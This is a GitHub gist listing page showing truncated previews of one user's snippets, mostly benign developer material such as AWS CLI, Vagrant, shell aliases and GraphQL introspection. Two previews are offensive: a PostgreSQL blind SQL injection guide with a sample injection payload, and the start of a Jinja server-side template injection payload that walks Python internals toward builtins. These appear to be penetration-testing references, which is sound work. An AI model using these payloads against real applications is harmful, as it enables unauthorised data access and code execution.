Skip to content

Instantly share code, notes, and snippets.

View va1da5's full-sized avatar
๐Ÿš€

Vaidas va1da5

๐Ÿš€
View GitHub Profile
@va1da5
va1da5 / aws-cli.sh
Last active May 18, 2025 10:08
Vanilla AWS CLI Environment
# pull image
docker pull amazon/aws-cli
# start shell session
docker run --rm -i -t --entrypoint=/bin/bash amazon/aws-cli
# configure AWS credentials
aws configure
# set region
@va1da5
va1da5 / run.py
Created September 18, 2024 19:04
networkx Labeled Network
# pip install networkx matplotlib jupyter
%matplotlib inline
import networkx as nx
import matplotlib.pyplot as plt
G = nx.DiGraph()
table = [
@va1da5
va1da5 / vscode-vagrant.md
Created November 2, 2023 08:42
VS Code + Vagrant

Visual Studio Code With Vagrant

Steps

  1. Init vagrant configuration
vagrant init
  1. Update Vagrantfile as needed. Boxes found in Vagrant hub
@va1da5
va1da5 / .aliases
Last active May 11, 2024 14:52
Python Project Boilerplate Files
__PY_GIST="https://gist.github.com/va1da5/52ef809ef4f006aa64440ad1a1748796"
__PY_GIST_VERSION="83bdcdd4d03a9b3e4a2d18438739cb5884e7ea75"
__PY_GIST_REPO="${__PY_GIST}/raw/${__PY_GIST_VERSION}"
function stringify {
local input="$@"
input="${input//\"/\\\"}"
input="${input//\\/\\\\}"
input="${input// /+}"
@va1da5
va1da5 / postgres_blind_sqli.txt
Created January 23, 2021 18:55
PostgreSQL blind SQL injection using UNION SELECT and pg_sleep()
# There are cases when execution of stacked queries are not possible in PostgreSQL database.
# In such cases the only option left is to use UNION SELECT queries. This brings additional
# challenges, such as finding out number of fields and types of the fields. The below example
# gives a quick overview and guide how to approach building of blind SQL injection payload
# for a PostgreSQL database.
# Steps:
# 1. Find number of fields. Start from 1 and go until error appears.
123' order by 3 -- -
@va1da5
va1da5 / find-generic-classes.jinja2
Created December 12, 2020 11:57
Jinja SSTI exploitation payloads
{# Based on https://bowneconsultingcontent.com/pub/EH/proj/ED105.htm #}
{# The template looks for generic classes that would allow accessing Python builtin functions #}
{% set string = "ssti" %}
{% set class_ = "__class__" %}
{% set mro_ = "__mro__" %}
{% set dict_ = "__dict__" %}
{% set init_ = "__init__" %}
{% set dir_ = "__dir__" %}
{% set str_ = "__str__" %}
{% set globals_ = "__globals__" %}
@va1da5
va1da5 / .aliases.sh
Last active May 11, 2024 14:54
'.alias' file for improving productivity using *unix CLI
alias grep='grep --color=auto'
alias egrep='egrep --color=auto'
alias fgrep='fgrep --color=auto'
alias ls='ls --color=auto'
alias ll='ls -lh'
alias la='ls -lha'
alias lt='ls -lt'
alias lu='du -sh * | sort -h'
@va1da5
va1da5 / curl-introspection-query.sh
Created June 20, 2020 18:01
Curl template for getting GraphQL Introspection query output
curl -s -k -XPOST -H "Content-Type: application/json" -d '{"query":"\n query IntrospectionQuery {\n __schema {\n queryType { name }\n mutationType { name }\n subscriptionType { name }\n types {\n ...FullType\n }\n directives {\n name\n description\n locations\n args {\n ...InputValue\n }\n }\n }\n }\n\n fragment FullType on __Type {\n kind\n name\n description\n fields(includeDeprecated: true) {\n name\n description\n args {\n ...InputValue\n }\n type {\n ...TypeRef\n }\n isDeprecated\n deprecationReason\n }\n inputFields {\n ...InputValue\n }\n interfaces {\n ...TypeRef\n }\n enumValues(includeDeprecated: true) {\n name\n description\n isDeprecated\n deprecationReason\n }\n possibleTypes {\n ...TypeRef\n }\n }\n\n fragment InputValue on __InputValue {\n name\n description\n type